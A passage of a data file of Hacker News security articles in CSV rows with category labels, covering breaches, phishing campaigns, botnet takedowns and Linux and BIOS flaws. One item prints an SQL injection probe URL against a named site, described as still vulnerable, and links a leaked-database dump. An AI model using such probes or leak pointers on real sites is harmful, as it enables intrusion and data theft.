BGP attack is the man-in-the-middle attack at large scale and harder to detect, as the traffic still reaches its legitimate destination and which was first demonstrated in 2008 by two security researchers - Tony Kapela and Alex Pilosov.

It's not the first time when Google Public DNS service has been hijacked. In 2010, DNS server traffic was hijacked and redirected to Romania and Austria.

",Vulnerability
Man Who Hacked Jail Systems to Release His Friend Early Gets 7-Years in Prison,https://thehackernews.com/2018/04/jail-network-hacking.html,"Remember a young hacker who hacked jail systems in an attempt to release his prison inmate early?

Well, that hacker will now be joining his inmate behind bars.

Konrads Voits of Ypsilanti, Michigan, has been sentenced to seven years and three months in prison for attempting to hack the Washtenaw County Jail computer system and modifying prison records to get his friend released early.

Besides spending 87 months in prison, Voits has also been ordered to pay $235,488 in fine to Washtenaw County for the cost accrued in investigating and cleaning up the infiltration that resulted in the compromise of personal information of around 1,600 employees, the US Justice Department announced last week.

Between January 24th, 2017 and March 10th, 2017, Voits successfully tricked IT staff at Washtenaw County Jail into visiting a phony website at ""ewashtenavv.org,"" which mimics the official URL, ""ewashtenaw.org.""

The malicious website then installed malware on the IT staff computer that eventually gave Voits complete control over the Jail's network, allowing him to steal search warrant affidavits and personal details of over 1,600 employees, including names, email addresses, and passwords.

Besides this, Voits also accessed the Washtenaw County Jail records and altered the electronic records of at least one inmate for early release.

However, things did not work as Voits wanted them to.

An IT employee cross-checked the release date of the inmate with hand-kept records and detected changes in the records. He alerted the FBI, who arrested Voits a month later.
""Thanks to the quick response of the IT employees at Washtenaw County, and to the careful review of records by employees at the Washtenaw County Jail, nobody was released early,"" the DoJ said last week.
""Washtenaw County spent thousands of dollars and numerous extra work hours responding to and investigating the breach, resulting in a loss of at least $235,488.""
The 27-year-old Michigan man pleaded guilty to one federal charge of damaging a protected computer in December last year and has now been jailed for seven years and three months behind bars, alongside up to 3 years of supervised release.

Voits has also agreed to surrender his belongings he used during the attack, including his laptop, four mobile phones (using which he called prison staff), $385.49 worth of Bitcoin, and one ""Green Integrated Circuit Component, Serial No. Y21A2123.""

",Cyber_Attack
Russian Hackers Made 'Tainted Leaks' a Thing — Phishing to Propaganda,https://thehackernews.com/2017/05/hackers-tainted-leaks.html,"We came across so many revelations of sensitive government and corporate data on the Internet these days, but what's the accuracy of that information leaked by unknown actors?

Security researchers have discovered new evidence of one such sophisticated global espionage and disinformation campaign with suspected ties to the Russian government that's been aimed to discredit enemies of the state.

Although there is no definitive proof of Russian government's involvement in the campaign, there is ""overlap"" with previously reported cyber espionage activities tied to a Russia-backed hacking group well known as APT28.

APT28 — also known as Fancy Bear, Sofacy, Sednit, and Pawn Storm — is the same group which was responsible for the Democratic National Committee (DNC) breach. The group has been operating since at least 2007 and has alleged tied to the Russian government.

A new report, titled Tainted Leaks, published this week by the Citizen Lab at the University of Toronto's Munk School of Global Affairs gives a new view on how Russian state-sponsored hackers targeted over 200 Gmail users, including journalists, activists critical of the Kremlin and those connected with the Ukrainian military to steal sensitive emails from their accounts.

The hackers then manipulate those stolen emails before being published on the Internet, planting disinformation alongside legitimate leaks.
""It provides evidence of how documents stolen from a prominent journalist and critic of Russia was tampered with and then ""leaked"" to achieve specific propaganda aims,"" the researchers wrote.
Citizen Lab researchers said that the hackers abused Google's own services and used phishing emails to steal Gmail credentials from 218 targets across 39 countries, including former US defense officials, a former Russian prime minister, and Ukrainian military official.

Researchers detected the campaign in October 2016, but the attacks were going on for several months before that.

Phishing Attack Abuses Google's Own Service
The attackers sent phishing emails that looked almost identical to the security warnings from Google, alerting victims that someone had obtained their passwords and that they should change it right away.

But, as soon as the victims visited the link and entered their login details, the hackers gained access to their accounts.

The phishing link was convincing to trick victims into handing over their credentials to the attackers because the campaign was abusing Google AMP's open redirect and short URL service in combination to hide their phishing pages.
https://www.google.com/amp/tiny.cc/(redacted)
Which redirects to:
hxxp://myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin.id833[.]ga/security/signinoptions/password
The above landing URL looks like a Google's password-reset page, which captures users credentials as soon as it is entered.
""After highlighting the similarities between this campaign and those documented by previous research, we round out the picture on Russia-linked operations by showing how related campaigns that attracted recent media attention for operations during the 2016 United States presidential election also targeted journalists, opposition groups, and civil society,"" Citizen Lab wrote.
Citizen Lab researchers able to identify the campaign after analyzing two phishing emails sent to David Satter, an American journalist and Kremlin critic, and who has been banned from the country in 2014.

Connection with DNC and French President Leak

According to the security firm, the approach and techniques used in the campaign appear similar to the hacking attempts that hit Hillary Clinton presidential campaign chairman John Podesta last year and the recent one that targeted French President Emmanuel Macron.
""In the 2017 French presidential election, tainted leaks appear to have been used in an attempt to discredit the political party and candidate for election directly,"" the researchers said.
US intelligence officials have previously discovered that Russian government was behind the attacks on Podesta and other Democratic officials. Now, Citizen Lab said Russian government was behind the recent phishing campaign and subsequent manipulation of Satter's e-mail.

Besides Satter, the same phishing campaign also targeted 218 other individuals, including politicians and other government officials, members of cabinets from Europe and Eurasia, journalists, academics, CEOs of energy and mining companies, UN officials, and high-ranking military personnel from more than a dozen countries, including the United States and NATO.

Tainted Leaks: A New Threat

CyberBerkut, a self-described pro-Russian group, published some of the documents obtained from Satter email accounts, one of which was so much manipulated that it made Satter appeared to be paying Russian journalists and activists to post articles critical of the Russian government, which would subsequently be published by several media outlets.
""Tainted leaks are a growing and particularly troublesome addition to disinformation tactics, and in the current digital environment are likely to become more prevalent,"" the Citizen Lab researchers concluded.
""Tainted leaks—fakes in a forest of facts—test the limits of how media, citizen journalism, and social media users handle fact checking, and the amplification of enticing, but questionable information.""
So next time, when you came across any widespread data leak, just do not trust it blindly before the authenticity of those leaked documents is not proved.

",Data_Breaches
Warning! Invitation for PC Version of 'Grand Theft Auto V' Game infects Computers with Malware,https://thehackernews.com/2014/03/Grand-Theft-Auto-V-PC-Version-download.html,"Since all the versions of the popular game 'Grand Theft' gone blatant and during the first week of the release of the Grand Theft Auto 4 in 2008, it topped half of millions of dollars, sold 3.6 million copies and generated $310 million in sales i.e., earning about 5 times as much as the blockbuster movie - Iron Man.

But the latest version -- Grand Theft Auto V is only available for the Xbox 360 and PS3 and there are rumors of a PC version of it on GameStop's PowerUp Rewards website. So, it's very common that if I offer you Grand Theft Auto V for PC, you eagerly want it.

Mind this, ""There is no Grand Theft Auto V for PC,"" accept the reality and don't let cyber criminals take leverage of this fact.

If you receive any email that alerts that you have been invited to the PC beta test for the game, considering it unreal, don't click on embedded links in the email because it can lead you to several bad websites that will infect you with all kinds of malware, according to Antivirus firm Trend Micro.

""The uncertainty did not stop cybercriminals from taking advantage of the pre-release publicity,"" warned Trend Micro Friday. ""We recently found a spam campaign making the rounds; this one claims that the user has been invited to the GTA V PC beta test.""

The email you might receive could mention:
""You invited Beta tester GTA V to Windows, Registered this link with promotion code... By creating an account you are agreeing to our Privacy Policy,"" as the content of an email sent out as part of the spam campaign states.
The second half are links in the email written in Slovak that may lead you to several sites, one of which is a phishing site; it also contains a zipped attachment containing an application that masquerade to be an access code, but is actually a known backdoor Trojan detected as BKDR_ANDROM.ATG, that can serve as another vehicle to infect your computer.

""In the past, we have reported several spam attacks that banked on the success and popularity of online games in order to proliferate malware. Games like World of Warcraft and Grand Theft Auto IV were also leveraged before by spammers,"" Trend Micro wrote in its Threat Encyclopedia. ""Clearly, the worldwide success of these games makes it a good social engineering lure to trick users. In this specific case, spammers capitalized on the much-anticipated release date of Grand Theft Auto V on PC, Xbox One, and PS4.""

The cyber criminals are very smart for having a proper grip on the people's intentions and by disguising themselves as the popular game, popular websites in order to spread malware to the victims' computer or in some cases successfully able to fetch financial details of victims.

We also had aware you about many such incidences in which cyber criminals are taking advantage of the popular gaming apps, like we previously informed about the Flappy Bird gaming app which infected number of users.

So, it is advised you to do not click any link precipitately that seems too good to be true and always be careful and alert when it comes to spammed mails such as those which do not exist at all in reality.

",Malware
"French Police Remotely Removed RETADUP Malware from 850,000 Infected PCs",https://thehackernews.com/2019/08/retadup-botnet-malware.html,"The French law enforcement agency, National Gendarmerie, today announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers.

Earlier this year, security researchers at Avast antivirus firm, who were actively monitoring the activities of RETADUP botnet, discovered a design flaw in the malware's C&C protocol that could have been exploited to remove the malware from victims' computer without executing any extra code.

However, to do that, the plan required researchers to have control over the malware's C&C server, which was hosted with a hosting provider located in the Ile-de-France region in north-central France.

Therefore, the researchers contacted the Cybercrime Fighting Center (C3N) of the French National Gendarmerie at the end of March this year, shared their findings, and proposed a secret plan to put an end to the RETADUP virus and protect victims.

According to the proposed plan, the French authorities took control over the RETADUP C&C server in July and replaced it with a prepared disinfection server that abused the design flaw in its protocol and commanded the connected instances of the RETADUP malware on infected computers to self-destruct.

""In the very first second of its activity, several thousand bots connected to it in order to fetch commands from the server. The disinfection server responded to them and disinfected them, abusing the C&C protocol design flaw,"" the researchers explain in a blog post published today.

""At the time of publishing this article, the collaboration has neutralized over 850,000 unique infections of RETADUP.""

According to Jean-Dominique Nollet, head of the National Criminal Intelligence Service at Gendarmerie Nationale, the authorities will keep the disinfection server online for a few more months as some infected computers have not yet made a connection with the police controlled C&C server—some have been offline since July while others have network problems.
The French police also contacted the FBI after finding some parts of the RETADUP's C&C infrastructure in the United States. The FBI then took them down on July 8, leaving the malware authors with no control over the bots.

""Since it was the C&C server's responsibility to give mining jobs to the bots, none of the bots received any new mining jobs to execute after this takedown,"" the researchers say. ""This meant that they could no longer drain the computing power of their victims and that the malware authors no longer received any monetary gain from mining.""

Created in 2015 and primarily infected computers throughout Latin America, RETADUP is a multi-functional Windows malware that is capable of mining cryptocurrency using the computing power of infected machines, DDoSing targeted infrastructure utilizing the bandwidth of the victims, and gathering information for espionage.

There are several variants of RETADUP, some of which have been either written in Autoit or using AutoHotkey. The malware has been designed to achieve persistence on Windows computers, install additional malware payloads on infected machines and also periodically perform other attempts to spread itself.
Besides distributing cryptocurrency malware as payload, RETADUP, in some cases, has also been found spreading the Stop ransomware and the Arkei password stealer.

""The C&C server also contained a .NET controller for an AutoIt RAT called HoudRat. Looking at samples of HoudRat, it is clear that HoudRat is just a more feature-rich and less prevalent variant of Retadup,"" the researchers learned after analyzing the seized C&C server.

""HoudRat is capable of executing arbitrary commands, logging keystrokes, taking screenshots, stealing passwords, downloading arbitrary files, and more.""

At the time of publishing this article, the authorities have neutralized over 850,000 unique infections of Retadup, with most victims being from Spanish-speaking countries in Latin America.

",Cyber_Attack
Hackers Target Military and Aerospace Staff by Posing as HRs Offering Jobs,https://thehackernews.com/2020/06/military-aerospace-hacking.html,"Cybersecurity researchers today took the wraps off a new sophisticated cyber-espionage campaign directed against aerospace and military organizations in Europe and the Middle East with an aim to spy on key employees of the targeted firms and, in some case, even to siphon money.

The campaign, dubbed ""Operation In(ter)ception"" because of a reference to ""Inception"" in the malware sample, took place between September to December 2019, according to a new report cybersecurity firm ESET shared with The Hacker News.

""The primary goal of the operation was espionage,"" the researchers told The Hacker News. ""However, in one of the cases we investigated, the attackers tried to monetize access to a victim's email account through a business email compromise (BEC) attack as the final stage of the operation.""

The financial motivation behind the attacks, coupled with similarities in targeting and development environment, have led ESET to suspect Lazarus Group, a notorious hacking group that's been attributed to working on behalf of the North Korean government to fund the country's illicit weapon and missile programs.

Social Engineering via LinkedIn

Stating that the campaign was highly targeted, ESET said it relied on social engineering tricks to lure employees working for the chosen companies with fake job offers using LinkedIn's messaging feature, posing as HR managers of well-known companies in the aerospace and defense industry, including Collins Aerospace and General Dynamics.


""Once the contact was established, the attackers snuck malicious files into the communication, disguising them as documents related to the advertised job offer,"" the researchers said, based on an investigation with two of the affected European companies.

The decoy RAR archive files, which were directly sent over the chats or as emails sent from their fake LinkedIn personas pointing to an OneDrive link, purported to contain a PDF document detailing salary information of specific job positions, when in actuality, it executed Windows' Command Prompt utility to perform a series of actions:

Copy Windows Management Instrumentation command-line tool (wmic.exe) to a specific folder
Rename it to something innocuous to evade detection (e.g., Intel, NVidia, Skype, OneDrive and Mozilla), and
Create scheduled tasks that execute a remote XSL script via WMIC.

The actors behind the operation, upon gaining an initial foothold inside the target company, went on to employ a custom malware downloader, which in turn downloaded a previously undocumented second-stage payload — a C++ backdoor that periodically sends requests to an attacker-controlled server, carry out pre-defined actions based on the received commands, and exfiltrate the collected information as a RAR file via a modified version of dbxcli, an open-source command-line client for Dropbox.

In addition to using WMIC to interpret remote XSL scripts, the adversaries also abused native Windows utilities such as ""certutil"" to decode base64-encoded downloaded payloads, and ""rundll32"" and ""regsvr32"" to run their custom malware.

""We actively seek out signs of state-sponsored activity on the platform and quickly take action against bad actors in order to protect our members. We don't wait on requests, our threat intelligence team removes fake accounts using information we uncover and intelligence from a variety of sources, including government agencies,"" Paul Rockwell, Head of Trust and Safety at LinkedIn said in a statement sent to The Hacker News.

""Our teams utilize a variety of automated technologies, combined with a trained team of reviewers and member reporting, to keep our members safe from all types of bad actors. We enforce our policies, which are very clear: the creation of a fake account or fraudulent activity with an intent to mislead or lie to our members is a violation of our terms of service. In this case, we uncovered instances of abuse that involved the creation of fake accounts. We took immediate action at that time and permanently restricted the accounts""

Financially Motivated BEC Attacks

Besides reconnaissance, ESET researchers also found evidence of attackers attempting to exploit the compromised accounts to extract money from other companies.


Although unsuccessful, the monetization tactic worked by using the existing email communications between the account holder and a customer of the company to settle an outstanding invoice to a different bank account under their control.

""As part of this ruse, the attackers registered an identical domain name to that of the compromised company, but on a different top-level domain, and used an email associated with this fake domain for further communication with the targeted customer,"" ESET said.

Ultimately, the targeted customer reached out to the correct email address of the victim about the suspicious emails, thus foiling the attackers' attempt.

""Our research into Operation In(ter)ception shows again how effective spear-phishing can be for compromising a target of interest,"" the researchers concluded.

""They were highly targeted and relied on social engineering over LinkedIn and custom, multistage malware. To operate under the radar, the attackers frequently recompiled their malware, abused native Windows utilities, and impersonated legitimate software and companies.""

",Malware
"For the First time, FBI discloses a Flaw to Apple, but it's already Patched!",https://thehackernews.com/2016/04/apple-vulnerability.html,"In Brief
The Federal Bureau of Investigation (FBI) made its first disclosure about a software security flaw to Apple under the Vulnerability Equities Process (VEP), a White House initiative created in April 2014 for reviewing flaws and deciding which ones should be made public.

Unfortunately, the vulnerability reported by the federal agency only affected older versions of Apple's iOS and OS X operating system and was patched nine months ago, with the release of iOS 9 for iPhones and Mac OS X El Capitan, according to Apple.

The FBI informed Apple of a vulnerability in its iPhone and Mac software on April 14, but it's not the one used to unlock an iPhone of one of the San Bernardino shooters, Reuters reported.

But, Why didn't the FBI disclose the hack used to get data off the San Bernardino iPhone?

Well, the answer came from the FBI is not much complicated.

According to the FBI Director James Comey, the FBI is still assessing whether the hack used to unlock Farook's iPhone would go through a White House panel review to decide if it should be disclosed to Apple.

The bureau is reportedly arguing that since the tool remains the third-party's intellectual property and the FBI never learned details about the workings of the tool, it does not make sense to disclose the vulnerability.
""The people we bought this from, I know a fair amount about them, and I have a high degree of confidence that they are very good at protecting it, and their motivations align with ours,"" Comey said earlier this month.
Also Read: Apple/FBI Can Unlock iPhones, Here's How to Hack-Proof your Device.

Comey has previously implied that the tool cost the FBI more than $1 Million as a one-time fee to hack into Farook's iPhone and that the tool only works a ""narrow slice"" of iPhone 5C devices running iOS 9.

So, by disclosing an already patched vulnerability in Apple's product, the FBI might be pretending to care about the user's security in front of Apple after declining to reveal details about the hack used to break the San Bernardino iPhone.
But, it won't change anything, as an unnamed Apple executive told Reuters that the move ""did nothing to change the company's perception that the White House process is less effective than has been claimed.

",Vulnerability
Researcher demonstrate hardware based backdoor called Rakshasa,https://thehackernews.com/2012/08/researcher-demonstrate-hardware-based.html,"Security researcher Jonathan Brossard created a proof-of-concept hardware backdoor called Rakshasa that replaces a computer's BIOS (Basic Input Output System) and can compromise the operating system at boot time without leaving traces on the hard drive.

In short, firmware is software that is stored in non-volatile memory on a computer chip, and is used to initialise a piece of hardware's functionality. In a PC, the BIOS is the most common example of firmware but in the case of wireless routers, a whole Linux operating system is stored in firmware.

Hardware backdoors are lethal for three reasons:
They can't be removed by conventional means (antivirus, formatting).
They can circumvent other types of security (passwords, encrypted file systems).
They can be injected during manufacturing.
Rakshasa, named after a demon from the Hindu mythology, is not the first malware to target the BIOS the low-level motherboard firmware that initializes other hardware components. Rakshasa replaces the motherboard BIOS, but can also infect the PCI firmware of other peripheral devices like network cards or CD-ROMs, in order to achieve a high degree of redundancy.

Rakshasa can be installed by anyone with physical access to your hardware either at manufacturing time, or in the office with a USB stick. Fortunately, Brossard hasn't released the code for Rakshasa but he seems fairly confident that other security groups/agencies have already developed similar tools.

Brossard built Rakshasa by combining several legitimate open-source software packages for altering firmware. Due to the efforts of programmers that have contributed to those projects, Rakshasa works on 230 different models of motherboard, says Brossard.

The only way to get rid of the malware is to shut down the computer and manually reflash every peripheral, a method that is impractical for most users because it requires specialized equipment and advanced knowledge.

",Vulnerability
Warning! Unprivileged Linux Users With UID > INT_MAX Can Execute Any Command,https://thehackernews.com/2018/12/linux-user-privilege-policykit.html,"Hold tight, this may blow your mind…

A low-privileged user account on most Linux operating systems with UID value anything greater than 2147483647 can execute any systemctl command unauthorizedly—thanks to a newly discovered vulnerability.

The reported vulnerability actually resides in PolicyKit (also known as polkit)—an application-level toolkit for Unix-like operating systems that defines policies, handles system-wide privileges and provides a way for non-privileged processes to communicate with privileged ones, such as ""sudo,"" that does not grant root permission to an entire process.

The issue, tracked as CVE-2018-19788, impacts PolicyKit version 0.115 which comes pre-installed on most popular Linux distributions, including Red Hat, Debian, Ubuntu, and CentOS.

The vulnerability exists due to PolicyKit's improper validation of permission requests for any low-privileged user with UID greater than INT_MAX.

Where, INT_MAX is a constant in computer programming that defines what maximum value an integer variable can store, which equals to 2147483647 (in hexadecimal 0x7FFFFFFF).

So it means, if you create a user account on affected Linux systems with any UID greater than INT_MAX value, the PolicyKit component will allow you to execute any systemctl command successfully.

Security researcher Rich Mirch, Twitter handle ""0xm1rch,"" has also released a proof-of-concept (PoC) exploit to successfully demonstrate the vulnerability that requires a user with the UID 4000000000.

Red Hat has recommended system administrators not to allow any negative UIDs or UIDs greater than 2147483646 in order to mitigate the issue until the patch is released.

",Vulnerability
PBS (Public Broadcasting Service) & Writerspace Hacked Again by Warv0x (AKA Kaihoe),https://thehackernews.com/2011/06/pbs-public-broadcasting-service.html,"PBS (Public Broadcasting Service) & Writerspace Hacked Again by Warv0x (AKA Kaihoe)
Yes ! Its True that PBS (Public Broadcasting Service) Hacked once again .Last time, A month before Public Broadcasting Service (PBS) Hacked by Lulzsec and Users data ,Database was Leaked and then Lulzsec claim that PSB.org was hacked with 0day exploit for MoveableType . This time Warv0x (AKA Kaihoe) expose the whole Database of PBS.org using SQL injection.



According to Warv0x (AKA Kaihoe) ""This wasn't done for fame or fun,just proving LulzSec aren't as goodas they think they are. I haven't rooted the box or been up to crack the hashes, I'm just proving that most of their attacks are very lame and basic (i'm pretty sure and automated) SQL injections and further privilege escalation, which is just matter of time."" He also said ""Support for WebNinjas & Jester, good job at exposing them.Sad to mention, but I really agree with th3j35t3r & WebNinjas - LulzSec are just a bunch of script kiddies...""

Today Th3J35t3r (The Jester) claim to expose identities of LulzSec Leader ""Sabu"". Read Here...


Warv0x (AKA Kaihoe) shared a Pastebin post with us (The Hacker News) https://pastebin.com/FZVbkQZQ , Via this they expose the Database and various Hashes of PSB .
PSB is still Vulnerable to Hackers .Warv0x (AKA Kaihoe) also expose the SQL Vulnerable Link.


On 16th June, 2011 LulzSec Leaks 62,000 Email/Passwords of writerspace.com . That time Lulzsec give statement that ""We don't know from where we got these 62000 Logins"". But Warv0x (AKA Kaihoe) Exposed the SQL Vulnerability of https://writerspace.com also which was the source of Lulsec Release.


Its : https://writerspace.com/booksearch/author.php?id=2280'

Using SQL injection Lulzsec was able to extract all those 62000 Logins data. Site is Still Vulnerable.

",Vulnerability
"1-Billion Yahoo Users' Database Reportedly Sold For $300,000 On Dark Web",https://thehackernews.com/2016/12/yahoo-hacking.html,"Recently Yahoo disclosed a three-year-old massive data breach in its company that exposed personal details associated with more than 1 Billion user accounts, which is said to be the largest data breach of any company ever.

The new development in Yahoo!'s 2013 data breach is that the hacker sold its over Billion-user database on the Dark Web last August for $300,000, according to Andrew Komarov, Chief Intelligence Officer (CIO) at security firm InfoArmor.

Komarov told the New York Times that three different buyers, including two ""prominent spammers"" and the third, is believed to be involved in espionage tactics paid $300,000 to gain control of the entire database.

The hacker group that breached Yahoo and sold the database is believed to based in Eastern Europe, but the company still does not know if this information is accurate or not.

Beside full names, passwords, date of births and phone numbers of 1 Million Yahoo users, the database also includes backup email addresses and, in some cases, unencrypted security questions and answers that could provide quick access to users accounts via password reset option.

The database is still up for sale, though its price is believed to have dropped substantially after Yahoo went public with the data breach announcement and triggered a password reset. Interested buyers might now have to pay $20,000 for the full Yahoo database.

Komarov also said his company obtained a copy of the Yahoo database earlier this year, and got in touch with the law enforcement authorities in the United States and other countries in the European Union, Canada, and Australia.

Komarov said his company did not go to Yahoo directly ""because the internet giant was dismissive of the security firm when approached by an intermediary,"" adding that he didn't trust Yahoo to investigate the data breach thoroughly.
""Personal information and contacts, e-mail messages, objects of interest, calendars and travel plans are key elements for intelligence-gathering in the right hands,"" Komarov was quoted as saying.
""The difference of Yahoo hack between any other hack is in that it may really destroy your privacy, and potentially have already destroyed it several years ago without your knowledge.""
Yahoo users are strongly recommended to reset their passwords and invalidate affected security questions as soon as possible.

Also, in case you are using the same password and answers for security questions somewhere else, change them too urgently.

",Data_Breaches
Brazil ISP servers under Massive DNS poisoning attacks,https://thehackernews.com/2011/11/brazil-isp-servers-under-massive-dns.html,"Brazil ISP servers under Massive DNS poisoning attacks


Kaspersky Lab expert Fabio Assolini Report that A massive DNS cache poisoning attack attempting to infect users trying to access popular websites is currently under way in Brazil. Several large ISPs in the highly connected country have been affected by the attack, and police have made at least one arrest in connection with the operation.

Attackers have been able to poison the DNS cache records for several major Web sites at some large ISPs. Last week Brazil's web forums were alive with desperate cries for help from users who faced malicious redirections when trying to access websites such as YouTube, Gmail and Hotmail, as well as local market leaders including Uol, Terra and Globo. In all cases, users were asked to run a malicious file as soon as the website opened.

It asks the customer to download and install the so-called ""Google Defence"" software required to use the search engine. In reality, though, this file is a Trojan banker detected by Kaspersky's heuristic engine. Research into this IP highlighted several malicious files and exploits hosted there.

Unfortunately for those who fell for the trick, the offered software was a banking Trojan - for a long time now the preferred weapon of choice of Brazilian cyber crooks. According to Kaspersky, the same IP address hosted a number of malicious files and several exploits, and targeted users seem to be exclusively from Brazil.

",Vulnerability
"Windows? NO, Linux and Mac OS X Most Vulnerable Operating System In 2014",https://thehackernews.com/2015/02/vulnerable-operating-system.html,"Apple's operating system is considered to be the most secure operating system whether it's Mac OS X for desktop computers or iOS for iPhones. But believe it or not, they are the most vulnerable operating system of year 2014.

MOST VULNERABLE OPERATING SYSTEM
Windows, which is often referred to as the most vulnerable operating system in the world and also an easy pie for hackers, is not even listed on the top three vulnerable OS. According to an analysis by the network and security solutions provider GFI, the top three most vulnerable operating system are:
Apple's Mac OS X
Apple iOS
Linux kernel
GFI analysis is based on the data from the US National Vulnerability Database (NVD), which shows that in 2014, the top three most vulnerable operating systems took owner by the following number of vulnerabilities reported in their software:
Mac OS X - Total 147 vulnerabilities were reported, 64 of which were rated as high-severity
Apple's iOS - Total 127 vulnerabilities were reported, 32 of which were rated as highly-severity
Linux Kernel - Total 119 vulnerabilities were reported, 24 of which were rated as high-severity.

MAJOR VULNERABILITIES REPORTED IN 2014
The major vulnerabilities that took over the Internet in 2014 were as follows:
HEARTBLEED - A critical security vulnerability detected in OpenSSL left large number of cryptographic keys and private data from the most important sites and services on the Internet open to hackers. It was considered to be one of the biggest Internet threat in the history.
SHELLSHOCK - A critical remotely exploitable vulnerability discovered in the widely used Linux and Unix command-line shell, known as Bash, aka the GNU Bourne Again Shell, left countless websites, servers, PCs, OS X Macs, various home routers, and many more open to the cyber criminals.
Surprisingly, Microsoft's Windows 7, 8 and 8.1 Operating Systems were the least vulnerable OS, as they fall into the bottom half of the list and rank at 5th, 7th and 8th, with 36 vulnerabilities reported in all of them.
""2014 was a tough year for Linux users from a security point of view, coupled with the fact that some of the most important security issues of the year were reported for applications that usually run on Linux systems,"" explained GFI Software manager Cristian Florian.
Windows Server 2008 was the fourth most vulnerable OS in 2014 with 38 vulnerabilities, but it isn't a version aimed at consumers.

MOST VULNERABLE APPLICATION
However, when it comes to applications, Microsoft proved to be on the contrary, as its Internet Explorer browser lead the list with 242 total vulnerabilities, with 220 of them being rated as critical.

Obviously, this could embarrass Microsoft, as Internet Explorer has nearly twice as many security flaws than the second most vulnerable application, which was Google Chrome.

Google Chrome browser had 124 vulnerabilities reported in 2014. On the other hand, Adobe Flash Player improved last year with only 76 vulnerabilities reported.

Overall, a total of 7,038 new security vulnerabilities were added to the National Vulnerability Database (NVD) last year, which indicates that an average of 19 new security vulnerabilities were reported every day.

Out of those, 80% were reported in third-party applications, 13% in operating systems, and 4% in hardware devices.

For those who aren't aware, NVD is the US government repository of standards based vulnerability management data represented using the Security Content Automation Protocol (SCAP).

",Vulnerability
Anthem Data Breach — 6 Things You Need To Know,https://thehackernews.com/2015/02/anthem-data-breach.html,"The Nation's second largest Health insurer company, Anthem, alerted its customers on Wednesday that hackers had stolen the personal information of over 80 Millions of its customers, making it the largest data breach and double the number of payment cards affected by Target data breach occurred in 2013.

The stolen personal information includes residential addresses, birthdays, medical identification numbers, Social Security Numbers, email addresses and some income data belonging to both current and former customers and employees, including its own chief executive.

80 Million is a vast number — it's roughly the populations of California, Texas and Illinois when combined together. So far, there is no evidence whether financial or medical information of the company's customers was compromised, according to a statement given by Anthem's vice president, Kristin Binns.

The health giant, based in Indianapolis, has hired cybersecurity firm FireEye's Mandiant division to work out which customers. Despite these efforts, the company has not yet identified the attacker behind the massive Anthem data breach.

1. WHAT WENT WRONG ?
Now the question rises, What went wrong with the second largest health insurer company that it lead its 80 million customers expose to mega cyber hacks?

Anthem hack could be due to a vulnerability in the healthcare company, and security experts say the stolen information was vulnerable because Anthem did not take proper precautions, such as protecting the data in its computers and servers through encryption, in the same way it protected medical information that was sent or shared outside of the database.

A spokesperson from Anthem says they do not known who is behind the attack, but a number of security consultants have pointed that in the past Chinese hackers have shown their interest in targeting popular healthcare companies.

It is to be estimated that the malicious hackers may have infiltrated the Anthem's networks by making use of a sophisticated malicious software program that gave them access to the login credential of an Anthem employee, thereby breaching 80 million customers.

2. BEWARE!! E-MAIL SCAMS TARGETING ANTHEM CUSTOMERS
As soon as the story broke, cyber criminals started exploiting the latest Anthem data breach in an attempt to persuade people to sign up for bogus credit protection services and provide personal information about themselves.

The insurer company on Friday warned its customers about an e-mail scam targeting former and current customers whose personal information was suspected to have been stolen in the Anthem breach.

Anthem warned about the email scam in a statement saying that the emails appears to come from Anthem and ask recipients to click on the attached link in order to obtain credit monitoring. Do not click on such links and do not provide any information on any website, Anthem advised its customers.

Don't expect any email warnings from the company because the Anthem hack is much severe than what it appears. To avoid fallout from the hackers, Anthem said it will contact its customers only via mail delivered by the U.S. Postal Service. The company will not call members regarding the breach and will not ask for any credit card information or Social Security numbers over the phone or via an email.

3. THIS DATA BREACH COULD LEADS TO OTHER BREACHES
Anthem claimed that the hackers didn't appear to have stolen customers' medical information. However, medical identification numbers were taken, along with Social Security numbers, addresses and email addresses, which could be by cyber crooks used for medical fraud.

Medical identity theft has become a booming business, according to security experts, who warned that the hackers' succeeded in penetrating Anthem's computer systems could use the stolen information to target other health care companies.

Over 90 percent of healthcare organizations reported they have had at least one data breach over the last two years, according to a survey of health care providers published last year by the Ponemon Institute, a privacy and data protection research firm.

4. CALIFORNIA CUSTOMER SUES ANTHEM
A California woman on Thursday accused Anthem of failing to properly secure and protect its customers' personal information, including usernames, birth dates, addresses and social security numbers. She seeks to represent all other customers who have been affected by this massive data breach.
""It appears that Anthem's security system did not involve encrypting Social Security numbers and birth dates –- two of the most valuable pieces of information that a thief can have,"" Susan Morris said in her complaint filed in federal court in Santa Ana, California.
Among other claims, Morris seeks damages for violations of California's unfair competition and data breach laws, Bloomberg reported. The case is Morris vs. Anthem Inc., 15-cv-00196, U.S. District Court, Central District of California (Santa Ana).

5. DEMAND OF LAWS TO BETTER PREVENT BREACHES
After falling for massive data breaches like Target, Home Depot,...and now Anthem hack, there is a need for more systemic changes in the laws in an attempt to prevent big hacks after hackers hit Anthem, the nation's second-largest health insurer.
""We're going to need federal legislation to address security issues to keep these huge hacks from happening,"" says Waldo Jaquith, who leads U.S. Open Data, which works with the public sector and private companies to better understand, store and share data.
Jaquith suggests setting minimal security requirements into the law — such as requirement of much stricter passwords and customer authentication. But, until there are more systemic changes, consumers are left quite helpless.

6. HOW TO PROTECT YOURSELF AFTER BREACH
The hack affected a wide array of Anthem brands, including Anthem Blue Cross; Anthem Blue Cross and Blue Shield; Blue Cross and Blue Shield of Georgia; Empire Blue Cross and Blue Shield; Amerigroup; Caremore; Unicare; Healthlink; and DeCare. So, if you have one of these plan, your personal data may have been taken by cyber crooks.

If you are a one of those affected customers, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, like in case of credit cards fraud. You may follow the following steps to protect yourself:
Monitor Your Accounts - Watch out if someone using your information don't ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen info can get through your security questions, including the last 4 digits of your social and street address. Also, watch for any unauthorized activity or transfers on your current financial accounts, those affected in the breach.
Sign Up for Credit Alerts and Identity Theft Protection for Free - The insurer company is offering free credit monitoring and identity protection services to all of its affected customers. So, you must sign up now, as these services will keep an eye on every unauthorised activities and send you alerts when someone else tries to use your identity. You can get further information on these measures at AnthemFacts.com.
